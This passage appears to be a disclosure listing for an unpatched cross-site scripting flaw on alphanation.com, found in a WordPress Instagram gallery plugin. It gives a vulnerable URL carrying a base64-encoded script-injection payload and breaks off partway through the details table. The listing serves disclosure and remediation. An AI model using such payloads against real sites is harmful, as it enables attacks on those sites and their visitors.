alphanation.com XSS vulnerability

Vulnerable URL: https://alphanation.com/wp-content/plugins/mgl-instagram-gallery/single-gallery.php?media=eCIgLz48c2NyaXB0PmFsZXJ0KCdPUEVOQlVHQk9VTlRZJyk8L3NjcmlwdD4= Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability status...